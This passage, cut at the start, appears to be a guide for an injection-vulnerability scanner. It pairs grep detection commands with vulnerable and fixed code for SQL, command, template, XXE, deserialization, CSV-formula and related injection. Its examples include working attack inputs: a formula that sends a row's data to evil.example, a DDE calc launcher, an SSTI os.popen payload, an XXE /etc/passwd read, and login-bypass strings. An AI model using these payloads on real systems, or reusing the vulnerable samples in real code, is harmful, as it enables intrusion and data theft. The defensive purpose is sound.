rg -n --pcre2 '\((?:[^()\n\\]|\\.)*[+*](?:[^()\n\\]|\\.)*\)(?:[+*]|\{\d+,\d*\})' "${X[@]}" . | rg --pcre2 '(RegExp|re\.\w+\(|Pattern\.compile|Regex|Regexp|preg_\w+|=~|\.(match|test|replace|search|split)\(|=\s*/|\(\s*/|\br["\x27])' | "${NC[@]}"
RC="$(mktemp -d "${TMPDIR:-/tmp}/recheck.XXXXXX")"
rg -n -o --no-heading --pcre2 '(?:(?<=[=(,:!&|?{};\[])|(?<=\breturn))\s*/((?![*/\s])(?:\\.|\[(?:\\.|[^\]\\\n])*\]|[^/\\\n\[])+)/([dgimsuyv]*)(?![\w$])' -r $'$1\t$2' -t js -t ts "${X[@]}" . > "$RC/re.tsv"
RT="${REFRACT_RECHECK:-$HOME/.cache/refract/recheck}"   # recheck@4, installed once by the user
[ -d "$RT/node_modules/recheck" ] || { echo "# recheck NOT-RUN (recheck not installed — to enable: npm i --prefix \"$RT\" recheck@4): 13c partial — heuristic candidates:"; rg --pcre2 '^[^\t]*:\d+:.*([+*]\}?[^\t]{0,6}[+*]|\.\*.*\.\*)' "$RC/re.tsv"; } && [ -d "$RT/node_modules/recheck" ] && \
node -e 'const {checkSync}=require(process.argv[2]+"/node_modules/recheck"),seen=new Map(),n={};for(const l of require("fs").readFileSync(process.argv[1]+"/re.tsv","utf8").split("\n")){const m=l.match(/^(.+?:\d+):(.*)\t([a-z]*)$/);if(!m)continue;const k=m[2]+"/"+m[3];if(!seen.has(k)){let r;try{r=checkSync(m[2],m[3],{timeout:5000})}catch{r={status:"unknown"}}seen.set(k,r)}const r=seen.get(k);n[r.status]=(n[r.status]||0)+1;if(r.status==="vulnerable")console.log(m[1]+"  "+r.complexity.type+"  /"+m[2]+"/"+m[3])}console.log("# recheck:",JSON.stringify(n),"— unknown = timeout or a non-regex the extractor caught")' "$RC" "$RT"

# 14. GraphQL documents assembled as strings instead of sent with `variables`: the keyword, an optional operation name,
#     then `{` or `(` — a toast id such as `query-error:${msg}` is not a document.
rg -n --pcre2 '(?i)["\x27\x60]\s*(query|mutation|subscription)\b\s*(\w+\s*)?[({][^\n]*(\$\{|#\{|["\x27]\s*\+)' "${X[@]}" . | "${NC[@]}"

# 15. Files that write CSV / spreadsheet output (15a) and files holding a formula neutralizer (15b). 15a minus 15b is the work list.
rg -n --pcre2 '\b(text/csv|text/tab-separated-values|application/vnd\.ms-excel|spreadsheetml)\b|[\w-]\.(csv|tsv|xlsx|xls)["\x27\x60]|\b(json2csv|csv-stringify|csv-writer|fast-csv|exceljs|ExcelJS|unparse|json_to_sheet|aoa_to_sheet|sheet_add_aoa|sheet_add_json|DictWriter|xlsxwriter|openpyxl|fputcsv|PhpSpreadsheet|excelize|CSVPrinter|CSVWriter|CsvWriter|ClosedXML|EPPlus|XSSFWorkbook)\b|\bcsv\.(writer|NewWriter)\(|\.to_(csv|excel)\(|\bCSV\.(generate|open)\b' "${X[@]}" . | "${NC[@]}"
rg -ln --pcre2 '\[(?=[^\]\n]*=)(?=[^\]\n]*@)(?=[^\]\n]*\+)[^\]\n]{2,24}\]|["\x27]=["\x27]\s*,\s*["\x27]\+["\x27]|(?i:formula.?injection|csv.?injection|CWE-1236)' "${X[@]}" .

# 16. Sources beyond HTTP — queue consumers, gateways, webhook routes, model calls. Not a detector: these
#     are the entry points the trace must also start from (§ The taint rule).
rg -n --pcre2 '@(RabbitListener|KafkaListener|SqsListener|JmsListener|EventPattern|MessagePattern|SubscribeMessage|Processor|Process)\(|\bextends\s+\w*WorkerHost\b|\b(consume|subscribe)\(\s*["\x27]|\.on\(\s*["\x27]message["\x27]|\bdef\s+(perform|handle_message|on_message)\b|\bShouldQueue\b|\bSidekiq::(Worker|Job)\b|@(shared_task|app\.task)\b|(@(Controller|Post|All|Put|PostMapping|RequestMapping)\(|\.(post|all|put|route|add_url_rule)\(|^\s*(post|match)\s)\s*["\x27][^"\x27\n]*webhook|\b(chat\.completions\.create|messages\.create|responses\.create|generateContent|generateText|streamText|invoke_model)\(|\btool_calls\b' "${X[@]}" . | "${NC[@]}"
```

A finding is grep-hit **plus** a read of the enclosing function **plus** the hops back to a source. The greps narrow; they do not decide. A multi-line call (`shell=True` three lines below `subprocess.run(`) shows up as the flag line — read upward to the call. Two blind spots are structural, so work around them rather than trust a quiet grep:
- **Aliases defeat call-name greps.** `const run = promisify(exec)` then `` run(`convert ${x}`) `` never says `exec(` at the call site. Greps 4c, 4d and 5a key on the command string, the import and the binary name instead; every file 4d lists is read in full.
- **Source-named greps see only direct references.** Greps 2a, 3, 10b and 13a match `req.query.sort`, not a `sort` parameter three calls deep. The sink-side greps (1, 4, 6, 7, 8, 11, 12) do not depend on the source's name — trust those for recall, and use the source-named ones to find entry points.

**Bulk triage by path class.** `X` drops what is never a sink. What it keeps can still run to hundreds on a monorepo — measured on a real NestJS-on-Fastify monorepo with MikroORM (about 12k files), 95 of grep 1a's 103 kept hits sat in `scripts/`. A path class may be closed with **one cited reason** instead of a read per hit, when the reason is checked, not assumed: `scripts/`, `tools/` and `bin/` close as "not request-reachable" only after `rg -n --hidden -g 'Dockerfile*' -g '*.{yml,yaml,toml}' -g 'package.json' -g 'Procfile' -g '!**/node_modules/**' '<dir>/' .` shows no image, deployed job or route runs them. CI steps and `package.json` scripts that do run them make them operator-run, not request-reachable — read only the hits that take argv or env from CI input. Count every class in the coverage line (`103 hits: 8 read, 95 scripts — not request-reachable, no deploy reference`). Shipped code is never bulk-closed.

## Scans for

Default severity assumes a source reachable by an anonymous or ordinary user. Drop one step when only an administrator can reach the source; never drop a class to "info" because it is behind login.

| § | Class | OWASP | CWE | Default |
|---|---|---|---|---|
| 1 | SQL injection (incl. ORM raw escape hatches) | A05:2025 | CWE-89 | critical |
| 2 | Non-bindable identifiers (ORDER BY, table, column, LIMIT) | A05:2025 | CWE-89 | critical |
| 3 | NoSQL operator injection | A05:2025 | CWE-943 | critical on auth / `$where`, else high |
| 4 | OS command injection | A05:2025 | CWE-78 | critical |
| 5 | Argument injection | A05:2025 | CWE-88 | high (critical when the option executes) |
| 6 | Code / expression-language injection | A05:2025 | CWE-94, CWE-95, CWE-917 | critical |
| 7 | Server-side template injection | A05:2025 | CWE-1336 | critical |
| 8 | XXE | A05:2025 (as `@security-auditor` files it) | CWE-611, CWE-776 | high (critical when it reaches secrets) |
| 9 | LDAP / XPath injection | A05:2025 | CWE-90, CWE-643 | high (critical on a login filter) |
| 10 | Header / CRLF, email-header and log injection | A05:2025 · A09:2025 for logs | CWE-113, CWE-93, CWE-117 | medium |
| 11 | Insecure deserialization | A08:2025 | CWE-502 | critical |
| 12 | Prototype pollution | A08:2025 | CWE-1321 | high (critical with an RCE gadget) |
| 13 | ReDoS | A10:2025 | CWE-1333 | medium (high on an unauthenticated hot path) |
| 14 | GraphQL documents built from strings | A05:2025 | CWE-943 | high |
| 15 | CSV / spreadsheet formula injection | A05:2025 | CWE-1236 | medium (low when only the author opens the file) |

### 1. SQL injection — query text built from input

```
BAD:   pool.query(`SELECT * FROM orders WHERE status = '${req.query.status}'`)
       cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")
       db.Query(fmt.Sprintf("SELECT * FROM users WHERE id = %s", id))
GOOD:  pool.query('SELECT * FROM orders WHERE status = $1', [req.query.status])
       cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
       db.Query("SELECT * FROM users WHERE id = $1", id)
```
Grep 1 is the candidate list. A hit is a finding when the spliced value traces to a source. The escape hatches have **safe twins that look almost identical** — read which one the code calls:

| Binds (safe) | Splices (the finding) |
|---|---|
| `` prisma.$queryRaw`… ${x}` `` (tagged) | `` $queryRawUnsafe(`… ${x}`) ``, `$queryRaw(Prisma.raw(x))` |
| `` sql`… ${x}` `` (Drizzle, postgres.js, Slonik tags) | `sql.raw(x)`, `sql.unsafe(x)` |
| `knex.raw('a = ?', [x])`, `sequelize.query(q, { replacements })` | `knex.raw('a = ' + x)`, `Sequelize.literal(x)` |
| MikroORM `` sql`… ${x}` `` (each `${}` becomes a bound `?`), `raw('a = ?', [x])`, `em.execute(q, [x])`, `raw(alias => …)` interpolating only the alias | `` em.execute(`… ${x}`) ``, `` raw(`… ${x}`) ``, `qb.where('a = ' + x)`, a `{ [raw(…)]: v }` key built from input |
| `FromSqlInterpolated($"… {x}")` | `FromSqlRaw($"… {x}")` |
| MyBatis `#{x}` | MyBatis `${x}` |
| `where("a = ?", v)` / Django `raw(sql, [v])` | `where("a = #{v}")` / `raw(f"… {v}")` |

Dynamic SQL in stored procedures (grep 1c) is the same bug one layer down: `EXECUTE '… ' || col` and `EXEC('…' + @name)` splice; `format('%I', col)`, `quote_ident`, `EXECUTE … USING` and `sp_executesql` with parameters bind.

**SQL written as text for later execution** — a dump, seed or backup exporter that builds `INSERT … VALUES ('…')` with a quote-doubling helper — has no bind API, and the file runs later under the restorer's session settings. Doubling `'` is complete only while `standard_conforming_strings = on`; restored with it off, a stored `x\'); <stmt>; --` runs `<stmt>`, often as the superuser the restore needs. A grep 1a / 1e hit whose string is returned or written rather than passed to a driver is this shape (second-order: the source is whoever writes the dumped columns). Fix: pin the session in the file's header as pg_dump does (`SET standard_conforming_strings = on; SET client_encoding = 'UTF8';`), or emit `COPY … FROM stdin` blocks. Rate it as an escaped sink (`[report-flagged]`, one step lower).

### 2. Non-bindable identifiers — "parameterized, but"

Bind parameters carry **values** only. A table or column name, a sort column, `ASC`/`DESC`, and in most drivers `LIMIT`/`OFFSET` cannot be bound — so a query that binds every value and interpolates one identifier is a complete SQL injection (`ORDER BY (CASE WHEN (SELECT …) THEN a ELSE b END)` extracts the database one bit per request). This is the carve-out `rules/security-principles.md` § "Must" states.

```
BAD:   pool.query(`SELECT * FROM items WHERE owner = $1 ORDER BY ${req.query.sort} ${req.query.dir}`, [uid])
       const set = Object.keys(req.body).map((k, i) => `${k} = $${i + 2}`).join(', ')   // keys are attacker JSON
       User.order(params[:sort]) · ->orderBy($request->sort) · gdb.Order(sort) · order_by(text(sort))
GOOD:  const SORT = { created: 'created_at', total: 'total_cents' };
       const col = SORT[req.query.sort] ?? 'created_at';
       const dir = req.query.dir === 'asc' ? 'ASC' : 'DESC';
       const limit = Math.min(Number.parseInt(req.query.limit, 10) || 20, 100);
```
Grep 2a finds sort/column/table names read from input; grep 2b finds an identifier interpolated beside a bound placeholder. The **object-keys-as-columns** shape is the one most often missed: values bound, keys spliced, so a key like `"status = 'paid', tenant_id"` rewrites the statement. It is also mass assignment — report the SQL injection here, cite `@api-security-reviewer` for the over-posting. Fix: an allow-list map to constants (or the DTO's declared fields for a `SET` list). Identifier quoting (`pg-format %I`, knex `??`, psycopg `sql.Identifier`, `quote_ident`) stops the breakout but still lets the caller sort or filter by a column you never meant to expose — use it **with** the allow-list, not instead of it. Before rating an object-keyed `orderBy({ [field]: dir })`, read the ORM's order-by builder in `node_modules` — the answer is version-specific: MikroORM 6.6 passes each key through `knex.ref` and allow-lists the direction (`validateOrderByDirection`), so the risk is the exposed-column oracle, not a breakout; TypeORM's `orderBy(string)` places the string in the statement as written. A query helper whose sort allow-list is optional (unset → any field) is Hardening until a caller passes request input to it. `X` drops migrations; grep 2c lists where a migration runner is called — anywhere but a CLI or deploy job (a route, a boot hook), and the migrations are back in scope.

### 3. NoSQL injection — operator objects

A JSON body, an extended query-string parser (`?password[$ne]=x` under `qs`, PHP / Laravel `a[$ne]=`, Rails nested params) turns an expected string into an operator object.

```
BAD:   User.findOne({ email: req.body.email, password: req.body.password })   // {"password":{"$ne":null}} → login bypass
       users.find(req.body) · db.users.find(request.get_json())                 // whole body as the filter
       users.find({ $where: 'this.name == "' + req.body.name + '"' })           // server-side JS
GOOD:  const { email, password } = LoginSchema.parse(req.body)    // z.string() — an object fails validation
       User.findOne({ email: { $eq: email } })                     // $eq pins the operator
```
A finding when a request value reaches a filter position without a scalar type check, or any `$where` / `$function` / `$accumulator` / `mapReduce` takes input. User-supplied `$regex` is also §13. Fix: schema-validate to scalars, `$eq`, Mongoose `sanitizeFilter`; a sanitizing middleware is depth, not the fix.

**SQL ORMs with operator syntax have the same bug** — an object in a filter **value** position: MikroORM `{ col: { $ne: null } }` / `$like` / `$re`, Prisma `{ not: '' }` / `{ contains: … }`, Sequelize with string operator aliases. Grep 3b lists the NestJS doors: `ValidationPipe` skips a parameter whose metatype is a primitive, so `@Body('x') x: string` can arrive as an object, and `@Allow()` / `@IsObject()`-only DTO properties survive `whitelist: true`. Express 4 with `qs` builds `{ $ne: … }` from `?a[$ne]=x`; Fastify's querystring parser is flat (a repeated key gives an array, never an object).

### 4. OS command injection

```
BAD:   exec(`convert ${req.body.file} out.png`)
       subprocess.run("ping " + host, shell=True) · os.system(f"rm -rf {path}")
       spawn('ls', [dir], { shell: true })          // shell:true joins argv into a shell string
       exec.Command("sh", "-c", "ls " + dir) · Runtime.getRuntime().exec("ping " + host)
GOOD:  execFile('/usr/bin/convert', [file, 'out.png'])            // no shell
       subprocess.run(["/usr/bin/ping", "-c", "1", "--", host])
       exec.Command("/usr/bin/ping", "-c", "1", host)
```
A finding when a tainted value reaches the string a shell parses: grep 4a sinks with a non-constant argument, any argv call with `shell: true` / `shell=True`, PHP and Ruby backticks (grep 4b), a command-line string that interpolates (grep 4c — it finds the command whatever wrapper runs it), `cmd.exe /c`. Fix: the argv-array API with no shell and an absolute binary path (`ProcessBuilder(List)`, `system(bin, *args)`, `proc_open([...])`, `ProcessStartInfo.ArgumentList`); when input chooses an operation, map it through an allow-list. Then check §5 — removing the shell does not remove argument injection.

### 5. Argument injection — no shell, still attacker-controlled

A user value placed in argv that begins with `-` becomes an **option**: `git ls-remote --upload-pack='touch /tmp/x'`, `curl -o /var/www/html/x.php`, `ssh -oProxyCommand=…`, `tar --checkpoint-action=exec=…`, `rsync -e …`, `find … -exec`, `sendmail -X /var/www/log.php`; and a value with a coder prefix (`msl:`, `ephemeral:`, `url:`) is an ImageMagick instruction.

```
BAD:   execFile('git', ['log', req.query.ref])        // ref = "--output=/etc/cron.d/x"
       subprocess.run(["curl", url])                   // url = "-o/var/www/shell.php"
GOOD:  if (!/^[\w./-]+$/.test(ref) || ref.startsWith('-')) reject(400);
       execFile('git', ['log', '--end-of-options', ref])
       subprocess.run(["curl", "--proto", "=https", "--", url])
```
Grep 5a lists every spawn of an option-parsing binary; a finding when a tainted value lands in argv before a `--` (git: `--end-of-options`, since `--` there means "paths follow"). Grep 5b lists escaping helpers — `escapeshellarg('--upload-pack=x')` is still an option; read each. Fix: `--` before user values, reject a leading `-`, validate the value's shape (a ref, a URL with an allow-listed scheme), prefix files as `./name`, force the ImageMagick coder (`png:` + path) and a restrictive `policy.xml`.

### 6. Code and expression-language injection

```
BAD:   eval(req.body.expr) · new Function('a', code) · vm.runInNewContext(code)   // vm is not a sandbox
       setTimeout('refresh(' + id + ')', 10) · require(req.query.plugin)
       eval(condition.operand_2)            # second-order: a rule row users can edit
       getattr(handlers, request.args["action"])() · obj.send(params[:method]) · params[:type].constantize
       parser.parseExpression(request.getParameter("expr")).getValue()          // SpEL
GOOD:  const HANDLERS = { export: doExport, archive: doArchive };  (HANDLERS[action] ?? reject)()
       a real expression grammar (JSON Logic, a math parser with no function access), ast.literal_eval for literals
       SpEL only with SimpleEvaluationContext.forReadOnlyDataBinding()
```
A finding when input — directly or from a stored row — reaches an evaluator, a dynamic `require`/`import`, or reflective dispatch (`send`, `getattr`, `constantize`, `const_get`, `importlib`). PHP adds `assert($string)` (PHP < 8), `create_function`, `preg_replace` with `/e` (PHP < 7); Java adds OGNL, MVEL, `ScriptEngine`, `GroovyShell`. `vm2` and `vm` are not fixes — removing evaluation is.

### 7. Server-side template injection (SSTI)

The user controls the **template source**, not a variable inside it — Jinja2 `{{ cycler.__init__.__globals__.os.popen('id').read() }}`, FreeMarker `"freemarker.template.utility.Execute"?new()`, Velocity, Twig, ERB, Go `text/template`, Handlebars, Pug, Nunjucks, lodash `_.template`.

```
BAD:   render_template_string("Hello " + request.args["name"]) · jinja2.Template(user_tpl).render()
       Handlebars.compile(req.body.template) · $twig->createTemplate($request->tpl) · ERB.new(params[:tpl])
       res.render('profile', req.query)       // EJS: attacker sets view options → outputFunctionName RCE
       return "user/" + lang + "/welcome";    // Spring view name → Thymeleaf expression preprocessing
GOOD:  render_template("hello.html", name=request.args["name"])   // fixed template, value as context
       res.render('profile', { name: req.query.name })              // pick the fields
       user-authored templates: a logic-less engine (Mustache, Liquid) with no app objects in context
```
Grep 7a is the compile/render-from-string set; grep 7b is Spring controllers returning a concatenated view name and Thymeleaf `__${…}__` preprocessing. A finding when the template string or view name traces to a source. Jinja2's `SandboxedEnvironment` narrows the blast radius; it is not a licence to compile user templates.

Grep 7c is the template most Node apps actually have: `{{var}}` filled by chained `.replace(/\{\{name\}\}/g, value)`. Nothing evaluates, so it is not SSTI — but a string replacement interprets `$&`, `` $` `` and `$'`, and a later replace re-expands a placeholder an earlier value smuggled in (`X $' {{total}}` splices the template's tail into the message). Low, Hardening unless the text reaches another user's trust decision. Fix: one pass with a function replacer over an allow-list map — `tpl.replace(/\{\{(\w+)\}\}/g, (_, k) => VARS[k] ?? '')`.

### 8. XXE — XML external entities

A parser that resolves DTDs turns `<!ENTITY x SYSTEM "file:///etc/passwd">` into a file read, `SYSTEM "http://169.254.169.254/…"` into SSRF, and nested entities into a billion-laughs DoS (CWE-776).

```
BAD:   DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(in)   // Java default resolves DTDs
       etree.XMLParser(resolve_entities=True) · libxmljs.parseXml(x, { noent: true })
       simplexml_load_string($x, 'SimpleXMLElement', LIBXML_NOENT) · new XmlReaderSettings { DtdProcessing = DtdProcessing.Parse }
GOOD:  dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
       defusedxml.ElementTree.fromstring(x) · no LIBXML_NOENT · DtdProcessing.Prohibit + XmlResolver = null
```
Unsafe **by default**: the Java factories in grep 8a (`DocumentBuilderFactory`, `SAXParserFactory`, `XMLInputFactory`, `TransformerFactory`, `SchemaFactory`, `SAXReader`, `Unmarshaller`) unless hardened in the same file (grep 8c), and .NET `XmlDocument` / `XmlTextReader` on frameworks before 4.5.2. Unsafe **by flag**: every grep 8b hit. **Not XXE**: Go `encoding/xml`, `xml2js`, `fast-xml-parser`, Python's stdlib `xml.etree` — check their entity-expansion limits instead. Surfaces to trace: SOAP endpoints, SAML responses, SVG rasterized server-side, DOCX/XLSX/PPTX/ODT (zipped XML), RSS/Atom/sitemap import, XInclude, XSLT (Xalan/Saxon extension functions are code execution). The uploaded file's handling is `file-access-scan`'s; the parser configuration is this detector's.

### 9. LDAP and XPath injection

```
BAD:   client.search(base, { filter: '(uid=' + user + ')' })     // user = "*)(uid=*))(|(uid=*" → any account
       xpath.evaluate("//user[name='" + n + "']", doc)            // n = "' or '1'='1"
GOOD:  new EqualityFilter({ attribute: 'uid', value: user })        // ldapjs filter object
       ldap.filter.escape_filter_chars(user) · ldap_escape($u, '', LDAP_ESCAPE_FILTER) · Spring LdapQueryBuilder
       tree.xpath("//user[name=$n]", n=n) · XPathVariableResolver
```
A finding when a tainted value is spliced into a filter (RFC 4515) or a DN without the library's encoder, or into an XPath string instead of an XPath variable. On a login or group-membership filter it is an authentication bypass — critical.

### 10. Header / CRLF, email-header and log injection

- **Response splitting** (CWE-113): `\r\n` in a value passed to `setHeader`, `Set-Cookie`, `Content-Disposition` or `Location` injects headers or a body. Most current runtimes reject or strip CR/LF in header values (Node's `http`, Go `net/http`, current Servlet containers, Werkzeug) — **verify the runtime and its version** before rating it; custom proxies, raw sockets, old frameworks and non-HTTP protocols remain. Where the `Location` value is a URL, its *target* is `ssrf-scan` § "7. User-controlled redirect target (open redirector)".
- **Email-header injection** (CWE-93): a contact form's address or subject into PHP `mail()` additional headers or a raw `From:` / `Reply-To:` adds `Bcc:` recipients. Fix: the mail library's address API, reject CR/LF.
- **Log injection** (CWE-117, A09): input with `\n` written into a plain-text log forges entries (`login OK user=admin`) and breaks parsers; ANSI escapes attack whoever tails it. Fix: a structured (JSON) logger whose encoder escapes control characters, or strip `\r\n` and control characters before the line is built. A JSON logger (pino, winston's `json` format, structlog, zap) already escapes `\n` — check whether a pretty transport (`pino-pretty`) ships in the production image or is a devDependency the production install prunes before rating a 10b hit. Log4j 2 below 2.17.1 turns a logged string into JNDI code execution — that is a version finding for `deps-audit`.

```
BAD:   res.setHeader('X-Display-Name', req.query.name) · header("X-User: " . $_GET['u'])
       logger.info(`login failed for ${req.body.username}`)
GOOD:  logger.info({ event: 'login_failed', username: req.body.username })   // JSON encoder escapes \n
```

### 11. Insecure deserialization

Formats that rebuild **arbitrary types** run constructors and magic methods (gadget chains) during the read:

| Lane | Sinks (grep 11) | Fix |
|---|---|---|
| Python | `pickle` / `cPickle` / `dill` / `joblib` / `shelve` / `pd.read_pickle` / `jsonpickle.decode`, `marshal`, `yaml.load` with `Loader` / `FullLoader` / `UnsafeLoader`, `torch.load` without `weights_only=True`, `numpy.load(allow_pickle=True)` | JSON + schema, `yaml.safe_load`, safetensors for model weights |
| Java / Kotlin | `ObjectInputStream.readObject`, `XMLDecoder`, `XStream` without an allow-list, Jackson `enableDefaultTyping` / `activateDefaultTyping` / `@JsonTypeInfo(use = Id.CLASS)`, SnakeYAML before 2.0 `new Yaml()` | JSON to a concrete DTO; `ObjectInputFilter` allow-list when the format cannot go |
| PHP | `unserialize($input)`; `phar://` on any file function is an implicit unserialize | `json_decode`; `unserialize($x, ['allowed_classes' => false])` as a stopgap |
| Ruby / Rails | `Marshal.load`, `YAML.unsafe_load` (`YAML.load` is safe only on Psych ≥ 4 / Ruby ≥ 3.1 — check the lockfile) | `JSON.parse`, `YAML.safe_load(permitted_classes: [...])` |
| Node | `node-serialize`, `serialize-to-js`, `funcster` | `JSON.parse` + schema |
| .NET | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter`, `SoapFormatter`, Json.NET `TypeNameHandling` ≠ `None` | `System.Text.Json` to concrete types |

The source is often disguised: a cookie, a hidden form field, a cache entry, a queue message, an uploaded "model file". An HMAC on the blob is integrity, not safety — a leaked key turns it back into RCE; remove the native format.

### 12. Prototype pollution

A recursive merge or path-set of request JSON writes through `__proto__` or `constructor.prototype`, and every object in the process inherits the attacker's property — `isAdmin`, or `shell` / `env` / `NODE_OPTIONS` picked up by the next `child_process` call (RCE), or a template engine's options.

```
BAD:   _.merge(prefs, req.body) · _.set(config, req.body.path, req.body.value)
       settings[req.body.section][req.body.key] = req.body.value          // section = "__proto__"
       function deepMerge(t, s) { for (const k in s) { … deepMerge(t[k], s[k]) … } }   // no key guard
GOOD:  if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
       Object.create(null) targets or a Map · schema-validate and strip unknown keys first
       node --disable-proto=delete · Object.freeze(Object.prototype) at boot (depth)
```
Read the body parser's defaults first. Fastify — and NestJS on Fastify, its raw-body JSON parser included — rejects `__proto__` and `constructor.prototype` keys (`onProtoPoisoning` / `onConstructorPoisoning` default `'error'`); Express `body-parser` and a bare `JSON.parse` keep `__proto__` as an own key that a later merge copies. Behind a closed JSON door the doors left are multipart field maps (`fields[part.fieldname] = …` into a plain `{}`), urlencoded and custom parsers, and `JSON.parse(rawBody)`. Grep 12a is the library and two-level-write set; grep 12b lists every hand-written merge/clone/set — **read each for the key guard**, it is the usual finding. `Object.assign(target, parsed)` with a parsed `__proto__` key swaps only that copy's prototype — medium, and only if inherited fields are trusted later. Whether a library *version* is patched is `deps-audit`'s question. Python has the same shape as class pollution (a recursive `setattr` merge reaching `__class__.__init__.__globals__`); client-side pollution from `location` parsing feeds DOM-XSS gadgets — hand that to `xss-scan`.

### 13. ReDoS

```
BAD:   new RegExp(req.query.pattern) · re.compile(request.args["p"]) · { name: { $regex: req.query.q } }
       /^(\w+\s?)*$/.test(req.body.name)        // nested quantifier, uncapped input → exponential backtracking
GOOD:  new RegExp(escapeRegExp(q)) · re.escape(q) · Pattern.quote(q) · preg_quote($q, '/')
       cap the input length before matching; rewrite to an unambiguous pattern; or a linear engine (re2)
```
(a) Grep 13a — a regex compiled from input is a finding unless the input is escaped to a literal; `str.match(x)` / `matchAll(x)` compile a non-RegExp `x` implicitly. (b) Grep 13b — a constant regex with a quantified group that itself contains a quantifier (`(a+)+`, `(\w+\s?)*`, `(a|aa)+`) is a finding when it runs on a source with no length cap. In Node a single request stalls every user on the event loop. Go `regexp`, Rust `regex` and RE2 run in linear time — (b) is `N/A` there; .NET can opt in with `RegexOptions.NonBacktracking` or a match timeout. (c) 13b sees only exponential shapes. **Polynomial** ReDoS comes from adjacent overlapping quantifiers — `\s+(city|town)\s*$`, `^[^\s@]+@[^\s@]+\.[^\s@]+$` — and one 50k-character input measured 2.1–2.3 s on Node 23.8. Grep 13c runs every JS/TS regex literal through `recheck`, which reports both kinds (no network → `blocked`, not `checked`). A hit is a finding only on a server path whose input has no length cap before the match; a browser-only regex stalls its own tab — low. Fix: cap the length at the call site, collapse to an unambiguous pattern (`trim` once, then `/\s(?:city|town)$/`), or replace a validation regex with `split` + length checks.

### 14. GraphQL documents built from strings

Server code calling a downstream GraphQL API by interpolating values into the document (`` `query { user(id: "${id}") { email } }` ``) lets a quote close the argument and add fields, aliases or a mutation. Fix: a constant document plus `variables`. Resolver arguments that reach SQL or a document store are §1 / §3. Depth, complexity, introspection and batching limits are `@api-security-reviewer` § "GraphQL (if the API exposes a GraphQL endpoint)".

### 15. CSV / spreadsheet formula injection

An export writes a cell that a user typed — a customer name, a product title, an address, an imported row — and the operator who downloads it opens it in Excel, LibreOffice or Google Sheets. A cell that starts with `=`, `+`, `-`, `@`, a tab or a carriage return is read as a **formula**: `=HYPERLINK("https://evil.example/?d="&A2,"Open")` exfiltrates the row it sits in, `=IMPORTXML(…)` / `=WEBSERVICE(…)` call out on open, and DDE payloads (`=cmd|' /C calc'!A0`) still prompt in desktop Excel.

```
BAD:   rows.map(r => [r.name, r.phone].join(',')).join('\n')            // name = "=HYPERLINK(...)"
       XLSX.utils.json_to_sheet(customers) · writer.writerow([order.note]) · fputcsv($out, $row)
GOOD:  const cell = v => (/^[=+\-@\t\r]/.test(v) ? "'" + v : v)         // neutralize, then CSV-quote
       quote every field, double embedded quotes; apply it in the one shared writer every export uses
```
Grep 15a lists files that emit CSV / TSV / XLSX (MIME types, download filenames, writer libraries); grep 15b lists files that hold a neutralizer. A finding when a 15a file writes a user-writable value with no neutralizer on its path — trace the column to whoever writes it, as for any second-order source. Hand-rolled writers (`join(',')`) are found by the MIME type or filename at the download site; follow the bytes back to the builder. A numeric column formatted by the server is not a source. Severity: medium; low when only the user who typed the value ever downloads the file. Re-exported rejected-rows files from a bulk import are the `import` domain's `schema-reviewer` + lens `import-review` rule when that domain is installed — report the sink here either way.

## Output

```
injection-scan — lanes: node (package.json), python (pyproject.toml); go, jvm, ruby, php, .net absent

Findings: 3

1. src/db/orders.repo.js:58                                    [report-with-fix]  critical
   §2 identifier injection — `${k} = $${i + 2}` builds the SET list from Object.keys(patch).
   Source: PATCH /orders/:id → Object.assign(patch, req.body) (src/routes/orders.js:56).
   Values are bound; the keys are attacker JSON. Fix: build SET only from an allow-list of
   updatable columns; reject unknown keys. A05:2025 · CWE-89 (over-posting → @api-security-reviewer)

2. app/rules/engine.py:147                                     [report-with-fix]  critical
   §6 code injection, second-order — eval(condition.operand_2); operand_2 is written by any
   tenant user through POST /rules (app/rules/views.py:88). Fix: replace eval with a parser for
   the rule grammar; never evaluate stored text. A05:2025 · CWE-95

3. src/media/convert.js:21                                     [report-flagged]  high
   §5 argument injection — spawn('convert', [req.body.src, out]); src may begin with '-' or a
   coder prefix (msl:). Unproven link: route mounted behind an auth guard not yet read.
   Fix: reject leading '-' and 'x:' prefixes, force 'png:' + path, restrictive policy.xml. A05:2025 · CWE-88

Class coverage:
  §1  SQL injection               checked (14 hits → 0 findings)
  §2  identifiers                 checked (3 hits → 1 finding)
  §3  NoSQL operators             N/A (no document-store driver in any manifest)
  §4  OS command                  checked (2 hits → 0 findings)
  §5  argument injection          checked (1 hit → 1 finding)
  §6  code injection              checked (4 hits → 1 finding)
  §7  SSTI                        checked (0 hits)
  §8  XXE                         N/A (no XML parser or SAML library imported)
  §9  LDAP / XPath                N/A (no LDAP client, no XPath API)
  §10 header / CRLF / log         checked (9 hits → 0 findings; Node 20 rejects CR/LF in headers)
  §11 deserialization             checked (1 hit → 0 findings: yaml.safe_load)
  §12 prototype pollution         checked (2 hits → 0 findings)
  §13 ReDoS                       checked (5 hits → 0 findings)
  §14 GraphQL strings             blocked (src/__generated__ is 2 MB of codegen; sinks there not read)
  §15 CSV / formula               checked (4 writer files, 1 neutralizer → 0 findings: every export goes through it)
```

`[report-with-fix]` — the source-to-sink path is traced end to end and the fix is concrete. `[report-flagged]` — the sink is unsafe but one link is unproven (source reachability, a runtime or version mitigation, a hop through code not read); the row names that link. The class-coverage block lists **all fifteen** classes on every run: `checked (k hits → m findings)` only when the class's grep ran on a lane that is present, `N/A (<reason>)` only when the repo has no such sink, `blocked (<reason>)` when the grep could not run or the code could not be read.

## False positives / gotchas

- **Tagged templates bind.** `` sql`…${x}` `` and `` prisma.$queryRaw`…${x}` `` hit grep 1 and are safe; `` pool.query(`…${x}`) `` hits the same grep and is not. Read whether the template is a tag or a plain string passed to a call.
- **DB-API `%s` is a placeholder.** `execute("… %s", (v,))` binds; `execute("… %s" % v)` splices. One character apart — the comma.
- **An f-string inside the params tuple is a value.** `(f"%{q}%",)` is bound; its `%`/`_` wildcards are a correctness question, not injection.
- **"Parameterized" is not a verdict.** A query with every value bound can still splice an identifier (§2) — check the `ORDER BY`, the table name and the `SET` keys of every dynamic query.
